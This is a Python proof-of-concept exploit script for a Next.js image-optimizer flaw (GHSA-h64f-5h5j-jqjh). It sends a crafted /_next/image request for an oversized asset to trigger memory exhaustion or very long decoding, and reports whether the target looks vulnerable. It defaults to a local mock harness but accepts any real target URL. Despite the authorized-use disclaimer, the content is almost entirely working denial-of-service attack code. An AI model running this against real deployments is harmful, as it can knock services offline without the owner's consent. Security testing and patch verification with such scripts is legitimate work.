#!/usr/bin/env python3
# Disclaimer: For authorized security research and educational use only.
# Do not use this tool on systems you do not own or have explicit written
# permission to test.
"""
GHSA-h64f-5h5j-jqjh -- /_next/image OOM exploit.

Sends `/_next/image?url=/large.bin&w=16&q=1` against a Next.js < 16.2.5 deployment
(or our mock harness) and observes either OOM/timeout or hours-of-decode wall time.

Usage:
    python3 exploit.py                              # local mock harness on :8084
    python3 exploit.py http://target/               # real target
    python3 exploit.py http://target/ --path /large.bin --size-mb 200
"""
import argparse
import os
import signal
import subprocess
import sys
import time
import urllib.parse
import urllib.request


class C:
    R = "\033[31m"; G = "\033[32m"; Y = "\033[33m"; CY = "\033[36m"
    B = "\033[1m"; X = "\033[0m"


def banner():
    print(C.CY + C.B + "=" * 65 + C.X)
    print(C.CY + C.B + "  GHSA-h64f-5h5j-jqjh -- /_next/image OOM" + C.X)
    print(C.CY + C.B + "  v16.2.4 vulnerable; partial mitigation in v16.2.5" + C.X)
    print(C.CY + C.B + "=" * 65 + C.X)


def maybe_start_mock(port: int, size_mb: int):
    here = os.path.dirname(os.path.abspath(__file__))
    server = os.path.join(here, "vulnerable-app", "server.py")
    proc = subprocess.Popen(
        [sys.executable, server, "--port", str(port),
         "--asset-size", str(size_mb)],
        stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
        preexec_fn=os.setsid,
    )
    time.sleep(1.0)
    return proc


def main():
    banner()
    ap = argparse.ArgumentParser()
    ap.add_argument("target", nargs="?")
    ap.add_argument("--path", default="/large.bin",
                    help="image source path passed via ?url=... (default /large.bin)")
    ap.add_argument("--size-mb", type=int, default=200,
                    help="size of mocked image asset in MiB (default 200)")
    ap.add_argument("--width", type=int, default=16)
    ap.add_argument("--quality", type=int, default=1)
    args = ap.parse_args()

    proc = None
    target = args.target
    try:
        if not target:
            print(C.Y + f"[*] no target supplied -> mock harness on :8084 (asset {args.size_mb} MiB)" + C.X)
            proc = maybe_start_mock(8084, args.size_mb)
            target = "http://127.0.0.1:8084"

        url = f"{target}/_next/image?url={urllib.parse.quote(args.path, safe='')}&w={args.width}&q={args.quality}"
        print(f"{C.B}[*] Target:{C.X}        {target}")
        print(f"{C.B}[*] Asset path:{C.X}    {args.path}")
        print(f"{C.B}[*] Mocked size:{C.X}   {args.size_mb} MiB")
        print(f"{C.B}[*] Optimizer URL:{C.X} {url}")
        print()

        t0 = time.perf_counter()
        code = -1
        nbytes = 0
        err = None
        try:
            with urllib.request.urlopen(url, timeout=120) as r:
                code = r.status
                while True:
                    chunk = r.read(64 * 1024)
                    if not chunk:
                        break
                    nbytes += len(chunk)
        except urllib.error.HTTPError as e:
            code = e.code
        except Exception as e:
            err = str(e)
        wall = time.perf_counter() - t0

        print(f"{C.B}[i] HTTP {code}  bytes={nbytes:,}  wall={wall:.2f}s  err={err}{C.X}")

        # Vulnerable signatures
        if code == 200 and wall > 5.0:
            print(C.G + C.B + f"[+] VULNERABLE -- optimizer fully decoded oversized asset (wall={wall:.2f}s)." + C.X)
            return 0
        if code in (500, 502, 503, 504) or err:
            print(C.G + C.B + f"[+] VULNERABLE -- optimizer crashed / OOM (code={code}, err={err})." + C.X)
            return 0
        if code in (400, 413, 415) and wall < 3.0:
            print(C.R + f"[-] LIKELY MITIGATED -- fast rejection ({code}) within {wall:.2f}s." + C.X)
            return 1
        print(C.Y + f"[?] inconclusive (code={code}, wall={wall:.2f}s)." + C.X)
        return 3
    finally:
        if proc:
            try:
                os.killpg(os.getpgid(proc.pid), signal.SIGTERM)
            except ProcessLookupError:
                pass


if __name__ == "__main__":
    sys.exit(main())